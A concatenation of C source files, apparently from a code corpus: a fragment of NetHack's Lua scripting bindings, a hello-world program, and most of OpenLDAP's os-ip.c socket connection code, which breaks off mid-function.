{"makeplural", nhl_makeplural}, {"makesingular", nhl_makesingular}, {"s_suffix", nhl_s_suffix}, {"ing_suffix", nhl_ing_suffix}, {"an", nhl_an}, {NULL, NULL} }; static const struct { const char *name; long value; } nhl_consts[] = { { "COLNO", COLNO }, { "ROWNO", ROWNO }, { NULL, 0 }, }; /* register and init the constants table */ void init_nhc_data(L) lua_State *L; { int i; lua_newtable(L); for (i = 0; nhl_consts[i].name; i++) { lua_pushstring(L, nhl_consts[i].name); lua_pushinteger(L, nhl_consts[i].value); lua_rawset(L, -3); } lua_setglobal(L, "nhc"); } int nhl_push_anything(L, anytype, src) lua_State *L; int anytype; void *src; { anything any = cg.zeroany; switch (anytype) { case ANY_INT: any.a_int = *(int *)src; lua_pushinteger(L, any.a_int); break; case ANY_UCHAR: any.a_uchar = *(uchar *)src; lua_pushinteger(L, any.a_uchar); break; case ANY_SCHAR: any.a_schar = *(schar *)src; lua_pushinteger(L, any.a_schar); break; } return 1; } static int nhl_meta_u_index(L) lua_State *L; { const char *tkey = luaL_checkstring(L, 2); const struct { const char *name; void *ptr; int type; } ustruct[] = { { "ux", &(u.ux), ANY_UCHAR }, { "uy", &(u.uy), ANY_UCHAR }, { "dx", &(u.dx), ANY_SCHAR }, { "dy", &(u.dy), ANY_SCHAR }, { "dz", &(u.dz), ANY_SCHAR }, { "tx", &(u.tx), ANY_UCHAR }, { "ty", &(u.ty), ANY_UCHAR }, { "ulevel", &(u.ulevel), ANY_INT }, { "ulevelmax", &(u.ulevelmax), ANY_INT }, { "uhunger", &(u.uhunger), ANY_INT }, { "nv_range", &(u.nv_range), ANY_INT }, { "xray_range", &(u.xray_range), ANY_INT }, { "umonster", &(u.umonster), ANY_INT }, { "umonnum", &(u.umonnum), ANY_INT }, { "mh", &(u.mh), ANY_INT }, { "mhmax", &(u.mhmax), ANY_INT }, { "mtimedone", &(u.mtimedone), ANY_INT }, { "dlevel", &(u.uz.dlevel), ANY_SCHAR }, /* actually xchar */ { "dnum", &(u.uz.dnum), ANY_SCHAR }, /* actually xchar */ { "uluck", &(u.uluck), ANY_SCHAR }, { "uhp", &(u.uhp), ANY_INT }, { "uhpmax", &(u.uhpmax), ANY_INT }, { "uen", &(u.uen), ANY_INT }, { "uenmax", &(u.uenmax), ANY_INT }, }; int i; /* FIXME: doesn't really work, eg. negative values for u.dx */ for (i = 0; i < SIZE(ustruct); i++) if (!strcmp(tkey, ustruct[i].name)) { return nhl_push_anything(L, ustruct[i].type, ustruct[i].ptr); } if (!strcmp(tkey, "inventory")) { nhl_push_obj(L, g.invent); return 1; } nhl_error(L, "Unknown u table index"); return 0; } static int nhl_meta_u_newindex(L) lua_State *L; { nhl_error(L, "Cannot set u table values"); return 0; } static int nhl_u_clear_inventory(L) lua_State *L UNUSED; { while (g.invent) useupall(g.invent); return 0; } /* Put object into player's inventory */ /* u.giveobj(obj.new("rock")); */ static int nhl_u_giveobj(L) lua_State *L; { return nhl_obj_u_giveobj(L); } static const struct luaL_Reg nhl_u_functions[] = { { "clear_inventory", nhl_u_clear_inventory }, { "giveobj", nhl_u_giveobj }, { NULL, NULL } }; void init_u_data(L) lua_State *L; { lua_newtable(L); luaL_setfuncs(L, nhl_u_functions, 0); lua_newtable(L); lua_pushcfunction(L, nhl_meta_u_index); lua_setfield(L, -2, "__index"); lua_pushcfunction(L, nhl_meta_u_newindex); lua_setfield(L, -2, "__newindex"); lua_setmetatable(L, -2); lua_setglobal(L, "u"); } int nhl_set_package_path(L, path) lua_State *L; const char *path; { lua_getglobal(L, "package"); lua_pushstring(L, path); lua_setfield(L, -2, "path"); lua_pop(L, 1); return 0; } static int traceback_handler(L) lua_State *L; { luaL_traceback(L, L, lua_tostring(L, 1), 0); /* TODO: call impossible() if fuzzing? */ return 1; } boolean nhl_loadlua(L, fname) lua_State *L; const char *fname; { boolean ret = TRUE; dlb *fh; char *buf = (char *) 0; long buflen; int cnt, llret; fh = dlb_fopen(fname, "r"); if (!fh) { impossible("nhl_loadlua: Error loading %s", fname); ret = FALSE; goto give_up; } dlb_fseek(fh, 0L, SEEK_END); buflen = dlb_ftell(fh); buf = (char *) alloc(buflen + 1); dlb_fseek(fh, 0L, SEEK_SET); if ((cnt = dlb_fread(buf, 1, buflen, fh)) != buflen) { impossible("nhl_loadlua: Error loading %s, got %i/%li bytes", fname, cnt, buflen); ret = FALSE; goto give_up; } buf[buflen] = '\0'; (void) dlb_fclose(fh); llret = luaL_loadstring(L, buf); if (llret != LUA_OK) { impossible("luaL_loadstring: Error loading %s (errcode %i)", fname, llret); ret = FALSE; goto give_up; } else { lua_pushcfunction(L, traceback_handler); lua_insert(L, 1); if (lua_pcall(L, 0, LUA_MULTRET, -2)) { impossible("Lua error: %s", lua_tostring(L, -1)); ret = FALSE; goto give_up; } } give_up: if (buf) { free(buf); buf = (char *) 0; buflen = 0; } return ret; } lua_State * nhl_init() { lua_State *L = luaL_newstate(); luaL_openlibs(L); nhl_set_package_path(L, "./?.lua"); /* register nh -table, and functions for it */ lua_newtable(L); luaL_setfuncs(L, nhl_functions, 0); lua_setglobal(L, "nh"); /* init nhc -table */ init_nhc_data(L); /* init u -table */ init_u_data(L); l_selection_register(L); l_register_des(L); l_obj_register(L); if (!nhl_loadlua(L, "nhlib.lua")) { lua_close(L); return (lua_State *) 0; } return L; } boolean load_lua(name) const char *name; { boolean ret = TRUE; lua_State *L = nhl_init(); if (!L) { ret = FALSE; goto give_up; } if (!nhl_loadlua(L, name)) { ret = FALSE; goto give_up; } give_up: lua_close(L); return ret; } const char * get_lua_version() { size_t len = (size_t) 0; const char *vs = (const char *) 0; lua_State *L; if (g.lua_ver[0] == 0) { L = nhl_init(); if (L) { lua_getglobal(L, "_VERSION"); if (lua_isstring(L, -1)) vs = lua_tolstring (L, -1, &len); if (vs && len < sizeof g.lua_ver) { if (!strncmpi(vs, "Lua", 3)) { vs += 3; if (*vs == '-' || *vs == ' ') vs += 1; } Strcpy(g.lua_ver, vs); } } lua_close(L); #ifdef LUA_COPYRIGHT if (sizeof LUA_COPYRIGHT <= sizeof g.lua_copyright) Strcpy(g.lua_copyright, LUA_COPYRIGHT); #endif } return (const char *) g.lua_ver; }
498172.c
#include <stdio.h> int main() { printf("Hello, MP3!\n"); return 0; }
437930.c
/* os-ip.c -- platform-specific TCP & UDP related code */ /* $OpenLDAP$ */ /* This work is part of OpenLDAP Software <http://www.openldap.org/>. * * Copyright 1998-2020 The OpenLDAP Foundation. * Portions Copyright 1999 Lars Uffmann. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted only as authorized by the OpenLDAP * Public License. * * A copy of this license is available in the file LICENSE in the * top-level directory of the distribution or, alternatively, at * <http://www.OpenLDAP.org/license.html>. */ /* Portions Copyright (c) 1995 Regents of the University of Michigan. * All rights reserved. */ /* Significant additional contributors include: * Lars Uffman */ #include "portable.h" #include <stdio.h> #include <ac/stdlib.h> #include <ac/errno.h> #include <ac/socket.h> #include <ac/string.h> #include <ac/time.h> #include <ac/unistd.h> #ifdef HAVE_IO_H #include <io.h> #endif /* HAVE_IO_H */ #ifdef HAVE_FCNTL_H #include <fcntl.h> #endif #include "ldap-int.h" #if defined( HAVE_GETADDRINFO ) && defined( HAVE_INET_NTOP ) # ifdef LDAP_PF_INET6 int ldap_int_inet4or6 = AF_UNSPEC; # else int ldap_int_inet4or6 = AF_INET; # endif #endif static void ldap_pvt_set_errno(int err) { sock_errset(err); } int ldap_int_timeval_dup( struct timeval **dest, const struct timeval *src ) { struct timeval *new; assert( dest != NULL ); if (src == NULL) { *dest = NULL; return 0; } new = (struct timeval *) LDAP_MALLOC(sizeof(struct timeval)); if( new == NULL ) { *dest = NULL; return 1; } AC_MEMCPY( (char *) new, (const char *) src, sizeof(struct timeval)); *dest = new; return 0; } static int ldap_pvt_ndelay_on(LDAP *ld, int fd) { Debug1(LDAP_DEBUG_TRACE, "ldap_ndelay_on: %d\n",fd ); return ber_pvt_socket_set_nonblock( fd, 1 ); } static int ldap_pvt_ndelay_off(LDAP *ld, int fd) { Debug1(LDAP_DEBUG_TRACE, "ldap_ndelay_off: %d\n",fd ); return ber_pvt_socket_set_nonblock( fd, 0 ); } static ber_socket_t ldap_int_socket(LDAP *ld, int family, int type ) { ber_socket_t s = socket(family, type, 0); Debug1(LDAP_DEBUG_TRACE, "ldap_new_socket: %d\n",s ); #ifdef FD_CLOEXEC fcntl(s, F_SETFD, FD_CLOEXEC); #endif return ( s ); } static int ldap_pvt_close_socket(LDAP *ld, int s) { Debug1(LDAP_DEBUG_TRACE, "ldap_close_socket: %d\n",s ); return tcp_close(s); } static int ldap_int_prepare_socket(LDAP *ld, int s, int proto ) { Debug1(LDAP_DEBUG_TRACE, "ldap_prepare_socket: %d\n", s ); #if defined( SO_KEEPALIVE ) || defined( TCP_NODELAY ) if ( proto == LDAP_PROTO_TCP ) { int dummy = 1; #ifdef SO_KEEPALIVE if ( setsockopt( s, SOL_SOCKET, SO_KEEPALIVE, (char*) &dummy, sizeof(dummy) ) == AC_SOCKET_ERROR ) { Debug1(LDAP_DEBUG_TRACE, "ldap_prepare_socket: " "setsockopt(%d, SO_KEEPALIVE) failed (ignored).\n", s ); } if ( ld->ld_options.ldo_keepalive_idle > 0 ) { #ifdef TCP_KEEPIDLE if ( setsockopt( s, IPPROTO_TCP, TCP_KEEPIDLE, (void*) &ld->ld_options.ldo_keepalive_idle, sizeof(ld->ld_options.ldo_keepalive_idle) ) == AC_SOCKET_ERROR ) { Debug1(LDAP_DEBUG_TRACE, "ldap_prepare_socket: " "setsockopt(%d, TCP_KEEPIDLE) failed (ignored).\n", s ); } #else Debug0(LDAP_DEBUG_TRACE, "ldap_prepare_socket: " "sockopt TCP_KEEPIDLE not supported on this system.\n" ); #endif /* TCP_KEEPIDLE */ } if ( ld->ld_options.ldo_keepalive_probes > 0 ) { #ifdef TCP_KEEPCNT if ( setsockopt( s, IPPROTO_TCP, TCP_KEEPCNT, (void*) &ld->ld_options.ldo_keepalive_probes, sizeof(ld->ld_options.ldo_keepalive_probes) ) == AC_SOCKET_ERROR ) { Debug1(LDAP_DEBUG_TRACE, "ldap_prepare_socket: " "setsockopt(%d, TCP_KEEPCNT) failed (ignored).\n", s ); } #else Debug0(LDAP_DEBUG_TRACE, "ldap_prepare_socket: " "sockopt TCP_KEEPCNT not supported on this system.\n" ); #endif /* TCP_KEEPCNT */ } if ( ld->ld_options.ldo_keepalive_interval > 0 ) { #ifdef TCP_KEEPINTVL if ( setsockopt( s, IPPROTO_TCP, TCP_KEEPINTVL, (void*) &ld->ld_options.ldo_keepalive_interval, sizeof(ld->ld_options.ldo_keepalive_interval) ) == AC_SOCKET_ERROR ) { Debug1(LDAP_DEBUG_TRACE, "ldap_prepare_socket: " "setsockopt(%d, TCP_KEEPINTVL) failed (ignored).\n", s ); } #else Debug0(LDAP_DEBUG_TRACE, "ldap_prepare_socket: " "sockopt TCP_KEEPINTVL not supported on this system.\n" ); #endif /* TCP_KEEPINTVL */ } #endif /* SO_KEEPALIVE */ #ifdef TCP_NODELAY if ( setsockopt( s, IPPROTO_TCP, TCP_NODELAY, (char*) &dummy, sizeof(dummy) ) == AC_SOCKET_ERROR ) { Debug1(LDAP_DEBUG_TRACE, "ldap_prepare_socket: " "setsockopt(%d, TCP_NODELAY) failed (ignored).\n", s ); } #endif /* TCP_NODELAY */ } #endif /* SO_KEEPALIVE || TCP_NODELAY */ return 0; } #ifndef HAVE_WINSOCK #undef TRACE #define TRACE do { \ char ebuf[128]; \ int saved_errno = errno; \ Debug3(LDAP_DEBUG_TRACE, "ldap_is_socket_ready: error on socket %d: errno: %d (%s)\n", \ s, \ saved_errno, \ sock_errstr(saved_errno, ebuf, sizeof(ebuf)) ); \ } while( 0 ) /* * check the socket for errors after select returned. */ static int ldap_pvt_is_socket_ready(LDAP *ld, int s) { Debug1(LDAP_DEBUG_TRACE, "ldap_is_sock_ready: %d\n",s ); #if defined( notyet ) /* && defined( SO_ERROR ) */ { int so_errno; ber_socklen_t dummy = sizeof(so_errno); if ( getsockopt( s, SOL_SOCKET, SO_ERROR, &so_errno, &dummy ) == AC_SOCKET_ERROR ) { return -1; } if ( so_errno ) { ldap_pvt_set_errno(so_errno); TRACE; return -1; } return 0; } #else { /* error slippery */ #ifdef LDAP_PF_INET6 struct sockaddr_storage sin; #else struct sockaddr_in sin; #endif char ch; ber_socklen_t dummy = sizeof(sin); if ( getpeername( s, (struct sockaddr *) &sin, &dummy ) == AC_SOCKET_ERROR ) { /* XXX: needs to be replace with ber_stream_read() */ (void)read(s, &ch, 1); TRACE; return -1; } return 0; } #endif return -1; } #undef TRACE #endif /* HAVE_WINSOCK */ /* NOTE: this is identical to analogous code in os-local.c */ int ldap_int_poll( LDAP *ld, ber_socket_t s, struct timeval *tvp, int wr ) { int rc; Debug2(LDAP_DEBUG_TRACE, "ldap_int_poll: fd: %d tm: %ld\n", s, tvp ? tvp->tv_sec : -1L ); #ifdef HAVE_POLL { struct pollfd fd; int timeout = INFTIM; short event = wr ? POLL_WRITE : POLL_READ; fd.fd = s; fd.events = event; if ( tvp != NULL ) { timeout = TV2MILLISEC( tvp ); } do { fd.revents = 0; rc = poll( &fd, 1, timeout ); } while ( rc == AC_SOCKET_ERROR && errno == EINTR && LDAP_BOOL_GET( &ld->ld_options, LDAP_BOOL_RESTART ) ); if ( rc == AC_SOCKET_ERROR ) { return rc; } if ( timeout == 0 && rc == 0 ) { return -2; } if ( fd.revents & event ) { if ( ldap_pvt_is_socket_ready( ld, s ) == -1 ) { return -1; } if ( ldap_pvt_ndelay_off( ld, s ) == -1 ) { return -1; } return 0; } } #else { fd_set wfds, *z = NULL; #ifdef HAVE_WINSOCK fd_set efds; #endif struct timeval tv = { 0 }; #if defined( FD_SETSIZE ) && !defined( HAVE_WINSOCK ) if ( s >= FD_SETSIZE ) { rc = AC_SOCKET_ERROR; tcp_close( s ); ldap_pvt_set_errno( EMFILE ); return rc; } #endif if ( tvp != NULL ) { tv = *tvp; } do { FD_ZERO(&wfds); FD_SET(s, &wfds ); #ifdef HAVE_WINSOCK FD_ZERO(&efds); FD_SET(s, &efds ); #endif rc = select( ldap_int_tblsize, z, &wfds, #ifdef HAVE_WINSOCK &efds, #else z, #endif tvp ? &tv : NULL ); } while ( rc == AC_SOCKET_ERROR && errno == EINTR && LDAP_BOOL_GET( &ld->ld_options, LDAP_BOOL_RESTART ) ); if ( rc == AC_SOCKET_ERROR ) { return rc; } if ( rc == 0 && tvp && tvp->tv_sec == 0 && tvp->tv_usec == 0 ) { return -2; } #ifdef HAVE_WINSOCK /* This means the connection failed */ if ( FD_ISSET(s, &efds) ) { int so_errno; ber_socklen_t dummy = sizeof(so_errno); if ( getsockopt( s, SOL_SOCKET, SO_ERROR, (char *) &so_errno, &dummy ) == AC_SOCKET_ERROR || !so_errno ) { /* impossible */ so_errno = WSAGetLastError(); } ldap_pvt_set_errno( so_errno ); Debug3(LDAP_DEBUG_TRACE, "ldap_int_poll: error on socket %d: " "errno: %d (%s)\n", s, so_errno, sock_errstr( so_errno, dummy, dummy )); return -1; } #endif if ( FD_ISSET(s, &wfds) ) { #ifndef HAVE_WINSOCK if ( ldap_pvt_is_socket_ready( ld, s ) == -1 ) { return -1; } #endif if ( ldap_pvt_ndelay_off(ld, s) == -1 ) { return -1; } return 0; } } #endif Debug0(LDAP_DEBUG_TRACE, "ldap_int_poll: timed out\n" ); ldap_pvt_set_errno( ETIMEDOUT ); return -1; } static int ldap_pvt_connect(LDAP *ld, ber_socket_t s, struct sockaddr *sin, ber_socklen_t addrlen, int async) { int rc, err; struct timeval tv, *opt_tv = NULL; #ifdef LDAP_CONNECTIONLESS /* We could do a connect() but that would interfere with * attempts to poll a broadcast address */ if (LDAP_IS_UDP(ld)) { if (ld->ld_options.ldo_peer) ldap_memfree(ld->ld_options.ldo_peer); ld->ld_options.ldo_peer=ldap_memcalloc(1, sizeof(struct sockaddr_storage)); AC_MEMCPY(ld->ld_options.ldo_peer,sin,addrlen); return ( 0 ); } #endif if ( ld->ld_options.ldo_tm_net.tv_sec >= 0 ) { tv = ld->ld_options.ldo_tm_net; opt_tv = &tv; } Debug3(LDAP_DEBUG_TRACE, "ldap_pvt_connect: fd: %d tm: %ld async: %d\n", s, opt_tv ? tv.tv_sec : -1L, async); if ( opt_tv && ldap_pvt_ndelay_on(ld, s) == -1 ) return ( -1 ); do{ Debug0(LDAP_DEBUG_TRACE, "attempting to connect: \n" ); if ( connect(s, sin, addrlen) != AC_SOCKET_ERROR ) { Debug0(LDAP_DEBUG_TRACE, "connect success\n" ); if ( !async && opt_tv && ldap_pvt_ndelay_off(ld, s) == -1 ) return ( -1 ); return ( 0 ); } err = sock_errno(); Debug1(LDAP_DEBUG_TRACE, "connect errno: %d\n", err ); } while(err == EINTR && LDAP_BOOL_GET( &ld->ld_options, LDAP_BOOL_RESTART )); if ( err != EINPROGRESS && err != EWOULDBLOCK ) { return ( -1 ); } if ( async ) { /* caller will call ldap_int_poll() as appropriate? */ return ( -2 ); } rc = ldap_int_poll( ld, s, opt_tv, 1 ); Debug1(LDAP_DEBUG_TRACE, "ldap_pvt_connect: %d\n", rc ); return rc; } #ifndef HAVE_INET_ATON int ldap_pvt_inet_aton( const char *host, struct in_addr *in) { unsigned long u = inet_addr( host ); #ifdef INADDR_NONE if ( u == INADDR_NONE ) return 0; #endif if ( u == 0xffffffffUL || u == (unsigned long) -1L ) return 0; in->s_addr = u; return 1; } #endif int ldap_int_connect_cbs(LDAP *ld, Sockbuf *sb, ber_socket_t *s, LDAPURLDesc *srv, struct sockaddr *addr) { struct ldapoptions *lo; ldaplist *ll; ldap_conncb *cb; int rc; ber_sockbuf_ctrl( sb, LBER_SB_OPT_SET_FD, s ); /* Invoke all handle-specific callbacks first */ lo = &ld->ld_options; for (ll = lo->ldo_conn_cbs; ll; ll = ll->ll_next) { cb = ll->ll_data; rc = cb->lc_add( ld, sb, srv, addr, cb ); /* on any failure, call the teardown functions for anything * that previously succeeded */ if ( rc ) { ldaplist *l2; for (l2 = lo->ldo_conn_cbs; l2 != ll; l2 = l2->ll_next) { cb = l2->ll_data; cb->lc_del( ld, sb, cb ); } /* a failure might have implicitly closed the fd */ ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, s ); return rc; } } lo = LDAP_INT_GLOBAL_OPT(); for (ll = lo->ldo_conn_cbs; ll; ll = ll->ll_next) { cb = ll->ll_data; rc = cb->lc_add( ld, sb, srv, addr, cb ); if ( rc ) { ldaplist *l2; for (l2 = lo->ldo_conn_cbs; l2 != ll; l2 = l2->ll_next) { cb = l2->ll_data; cb->lc_del( ld, sb, cb ); } lo = &ld->ld_options; for (l2 = lo->ldo_conn_cbs; l2; l2 = l2->ll_next) { cb = l2->ll_data; cb->lc_del( ld, sb, cb ); } ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, s ); return rc; } } return 0; } int ldap_connect_to_host(LDAP *ld, Sockbuf *sb, int proto, LDAPURLDesc *srv, int async ) { int rc; int socktype, port; ber_socket_t s = AC_SOCKET_INVALID; char *host; #if defined( HAVE_GETADDRINFO ) && defined( HAVE_INET_NTOP ) char serv[7]; int err; struct addrinfo hints, *res, *sai; #else int i; int use_hp = 0; struct hostent *hp = NULL; struct hostent he_buf; struct in_addr in; char *ha_buf=NULL; #endif if ( srv->lud_host == NULL || *srv->lud_host == 0 ) { host = "localhost"; } else { host = srv->lud_host; } port = srv->lud_port; if( !port ) { if( strcmp(srv->lud_scheme, "ldaps") == 0 ) { port = LDAPS_PORT; } else { port = LDAP_PORT; } } switch(proto) { case LDAP_PROTO_TCP: socktype = SOCK_STREAM; Debug2(LDAP_DEBUG_TRACE, "ldap_connect_to_host: TCP %s:%d\n", host, port ); break; case LDAP_PROTO_UDP: socktype = SOCK_DGRAM; Debug2(LDAP_DEBUG_TRACE, "ldap_connect_to_host: UDP %s:%d\n", host, port ); break; default: Debug1(LDAP_DEBUG_TRACE, "ldap_connect_to_host: unknown proto: %d\n", proto ); return -1; } #if defined( HAVE_GETADDRINFO ) && defined( HAVE_INET_NTOP ) memset( &hints, '\0', sizeof(hints) ); #ifdef USE_AI_ADDRCONFIG /* FIXME: configure test needed */ /* Use AI_ADDRCONFIG only on systems where its known to be needed. */ hints.ai_flags = AI_ADDRCONFIG; #endif hints.ai_family = ldap_int_inet4or6; hints.ai_socktype = socktype; snprintf(serv, sizeof serv, "%d", port ); /* most getaddrinfo(3) use non-threadsafe resolver libraries */ LDAP_MUTEX_LOCK(&ldap_int_resolv_mutex); err = getaddrinfo( host, serv, &hints, &res ); LDAP_MUTEX_UNLOCK(&ldap_int_resolv_mutex); if ( err != 0 ) { Debug1(LDAP_DEBUG_TRACE, "ldap_connect_to_host: getaddrinfo failed: %s\n", AC_GAI_STRERROR(err) ); return -1; } rc = -1; for( sai=res; sai != NULL; sai=sai->ai_next) { if( sai->ai_addr == NULL ) { Debug0(LDAP_DEBUG_TRACE, "ldap_connect_to_host: getaddrinfo " "ai_addr is NULL?\n" ); continue; } #ifndef LDAP_PF_INET6 if ( sai->ai_family == AF_INET6 ) continue; #endif /* we assume AF_x and PF_x are equal for all x */ s = ldap_int_socket( ld, sai->ai_family, socktype ); if ( s == AC_SOCKET_INVALID ) { continue; } if ( ldap_int_prepare_socket(ld, s, proto ) == -1 ) { ldap_pvt_close_socket(ld, s); break; } switch (sai->ai_family) { #ifdef LDAP_PF_INET6 case AF_INET6: { char addr[INET6_ADDRSTRLEN]; inet_ntop( AF_INET6, &((struct sockaddr_in6 *)sai->ai_addr)->sin6_addr, addr, sizeof addr); Debug2(LDAP_DEBUG_TRACE, "ldap_connect_to_host: Trying %s %s\n", addr, serv ); } break; #endif case AF_INET: { char addr[INET_ADDRSTRLEN]; inet_ntop( AF_INET, &((struct sockaddr_in *)sai->ai_addr)->sin_addr, addr, sizeof addr); Debug2(LDAP_DEBUG_TRACE, "ldap_connect_to_host: Trying %s:%s\n", addr, serv ); } break; } rc = ldap_pvt_connect( ld, s, sai->ai_addr, sai->ai_addrlen, async ); if ( rc == 0 || rc == -2 ) { err = ldap_int_connect_cbs( ld, sb, &s, srv, sai->ai_addr ); if ( err ) rc = err; else break; } ldap_pvt_close_socket(ld, s); } freeaddrinfo(res); #else if (! inet_aton( host, &in ) ) { int local_h_errno; rc = ldap_pvt_gethostbyname_a( host, &he_buf, &ha_buf, &hp, &local_h_errno ); if ( (rc < 0) || (hp == NULL) ) { #ifdef HAVE_WINSOCK ldap_pvt_set_errno( WSAGetLastError() ); #else /* not exactly right, but... */ ldap_pvt_set_errno( EHOSTUNREACH ); #endif if (ha_buf) LDAP_FREE(ha_buf); return -1; } use_hp = 1; } rc = s = -1; for ( i = 0; !use_hp || (hp->h_addr_list[i] != 0); ++i, rc = -1 ) { struct sockaddr_in sin; s = ldap_int_socket( ld, PF_INET, socktype ); if ( s == AC_SOCKET_INVALID ) { /* use_hp ? continue : break; */ break; } if ( ldap_int_prepare_socket( ld, s, proto ) == -1 ) { ldap_pvt_close_socket(ld, s); break; } (void)memset((char *)&sin, '\0', sizeof sin); sin.sin_family = AF_INET; sin.sin_port = htons((unsigned short) port); if( use_hp ) { AC_MEMCPY( &sin.sin_addr, hp->h_addr_list[i], sizeof(sin.sin_addr) ); } else { AC_MEMCPY( &sin.sin_addr, &in.s_addr, sizeof(sin.sin_addr) ); } #ifdef HAVE_INET_NTOA_B { /* for VxWorks */ char address[INET_ADDR_LEN]; inet_ntoa_b(sin.sin_address, address); Debug2(LDAP_DEBUG_TRACE, "ldap_connect_to_host: Trying %s:%d\n", address, port ); } #else Debug2(LDAP_DEBUG_TRACE, "ldap_connect_to_host: Trying %s:%d\n", inet_ntoa(sin.sin_addr), port ); #endif rc = ldap_pvt_connect(ld, s, (struct sockaddr *)&sin, sizeof(sin), async); if ( (rc == 0) || (rc == -2) ) { int err = ldap_int_connect_cbs( ld, sb, &s, srv, (struct sockaddr *)&sin ); if ( err ) rc = err; else break; } ldap_pvt_close_socket(ld, s); if (!use_hp) break; } if (ha_buf) LDAP_FREE(ha_buf); #endif return rc; } #if defined( HAVE_CYRUS_SASL ) char * ldap_host_connected_to( Sockbuf *sb, const char *host ) { ber_socklen_t len; #ifdef LDAP_PF_INET6 struct sockaddr_storage sabuf; #else struct sockaddr sabuf; #endif struct sockaddr *sa = (struct sockaddr *) &sabuf; ber_socket_t sd; (void)memset( (char *)sa, '\0', sizeof sabuf ); len = sizeof sabuf; ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, &sd ); if ( getpeername( sd, sa, &len ) == -1 ) { return( NULL ); } /* * do a reverse lookup on the addr to get the official hostname. * this is necessary for kerberos to work right, since the official * hostname is used as the kerberos instance. */ switch (sa->sa_family) { #ifdef LDAP_PF_LOCAL case AF_LOCAL: return LDAP_STRDUP( ldap_int_hostname ); #endif #ifdef LDAP_PF_INET6 case AF_INET6: { struct in6_addr localhost = IN6ADDR_LOOPBACK_INIT; if( memcmp ( &((struct sockaddr_in6 *)sa)->sin6_addr, &localhost, sizeof(localhost)) == 0 ) { return LDAP_STRDUP( ldap_int_hostname ); } } break; #endif case AF_INET: { struct in_addr localhost; localhost.s_addr = htonl( INADDR_ANY ); if( memcmp ( &((struct sockaddr_in *)sa)->sin_addr, &localhost, sizeof(localhost) ) == 0 ) { return LDAP_STRDUP( ldap_int_hostname ); } #ifdef INADDR_LOOPBACK localhost.s_addr = htonl( INADDR_LOOPBACK ); if( memcmp ( &((struct sockaddr_in *)sa)->sin_addr, &localhost, sizeof(localhost) ) == 0 ) { return LDAP_STRDUP( ldap_int_hostname ); } #endif } break; default: return( NULL ); break; } { char *herr; #ifdef NI_MAXHOST char hbuf[NI_MAXHOST]; #elif defined( MAXHOSTNAMELEN ) char hbuf[MAXHOSTNAMELEN]; #else char hbuf[256]; #endif hbuf[0] = 0; if (ldap_pvt_get_hname( sa, len, hbuf, sizeof(hbuf), &herr ) == 0 && hbuf[0] ) { return LDAP_STRDUP( hbuf ); } } return host ? LDAP_STRDUP( host ) : NULL; } #endif struct selectinfo { #ifdef HAVE_POLL /* for UNIX poll(2) */ int si_maxfd; struct pollfd si_fds[FD_SETSIZE]; #else /* for UNIX select(2) */ fd_set si_readfds; fd_set si_writefds; fd_set si_use_readfds; fd_set si_use_writefds; #endif }; void ldap_mark_select_write( LDAP *ld, Sockbuf *sb ) { struct selectinfo *sip; ber_socket_t sd; sip = (struct selectinfo *)ld->ld_selectinfo; ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, &sd ); #ifdef HAVE_POLL /* for UNIX poll(2) */ { int empty=-1; int i; for(i=0; i < sip->si_maxfd; i++) { if( sip->si_fds[i].fd == sd ) { sip->si_fds[i].events |= POLL_WRITE; return; } if( empty==-1 && sip->si_fds[i].fd == -1 ) { empty=i; } } if( empty == -1 ) { if( sip->si_maxfd >= FD_SETSIZE ) { /* FIXME */ return; } empty = sip->si_maxfd++; } sip->si_fds[empty].fd = sd; sip->si_fds[empty].events = POLL_WRITE; } #else /* for UNIX select(2) */ if ( !FD_ISSET( sd, &sip->si_writefds )) { FD_SET( sd, &sip->si_writefds ); } #endif } void ldap_mark_select_read( LDAP *ld, Sockbuf *sb ) { struct selectinfo *sip; ber_socket_t sd; sip = (struct selectinfo *)ld->ld_selectinfo; ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, &sd ); #ifdef HAVE_POLL /* for UNIX poll(2) */ { int empty=-1; int i; for(i=0; i < sip->si_maxfd; i++) { if( sip->si_fds[i].fd == sd ) { sip->si_fds[i].events |= POLL_READ; return; } if( empty==-1 && sip->si_fds[i].fd == -1 ) { empty=i; } } if( empty == -1 ) { if( sip->si_maxfd >= FD_SETSIZE ) { /* FIXME */ return; } empty = sip->si_maxfd++; } sip->si_fds[empty].fd = sd; sip->si_fds[empty].events = POLL_READ; } #else /* for UNIX select(2) */ if ( !FD_ISSET( sd, &sip->si_readfds )) { FD_SET( sd, &sip->si_readfds ); } #endif } void ldap_mark_select_clear( LDAP *ld, Sockbuf *sb ) { struct selectinfo *sip; ber_socket_t sd; sip = (struct selectinfo *)ld->ld_selectinfo; ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, &sd ); #ifdef HAVE_POLL /* for UNIX poll(2) */ { int i; for(i=0; i < sip->si_maxfd; i++) { if( sip->si_fds[i].fd == sd ) { sip->si_fds[i].fd = -1; } } } #else /* for UNIX select(2) */ FD_CLR( sd, &sip->si_writefds ); FD_CLR( sd, &sip->si_readfds ); #endif } void ldap_clear_select_write( LDAP *ld, Sockbuf *sb ) { struct selectinfo *sip; ber_socket_t sd; sip = (struct selectinfo *)ld->ld_selectinfo; ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, &sd ); #ifdef HAVE_POLL /* for UNIX poll(2) */ { int i; for(i=0; i < sip->si_maxfd; i++) { if( sip->si_fds[i].fd == sd ) { sip->si_fds[i].events &= ~POLL_WRITE; } } } #else /* for UNIX select(2) */ FD_CLR( sd, &sip->si_writefds ); #endif } int ldap_is_write_ready( LDAP *ld, Sockbuf *sb ) { struct selectinfo *sip; ber_socket_t sd; sip = (struct selectinfo *)ld->ld_selectinfo; ber_sockbuf_ctrl( sb, LBER_SB_OPT_GET_FD, &sd ); #ifdef HAVE_POLL /* for UNIX poll(2) */ { int i; for(i=0; i < sip->si_maxfd; i++) { if( sip->si_fds[i].fd == sd ) { return sip->si_fds[i].revents & POLL_WRITE; } } return 0; } #else /* for UNIX select(2) */ return( FD_ISSET( sd, &sip->si_use_writefds )); #endif } int ldap_is_read_ready( LDAP *ld, Sockbuf *sb ) { struct selectinfo *sip; ber_socket_t sd; sip = (struct selectinfo 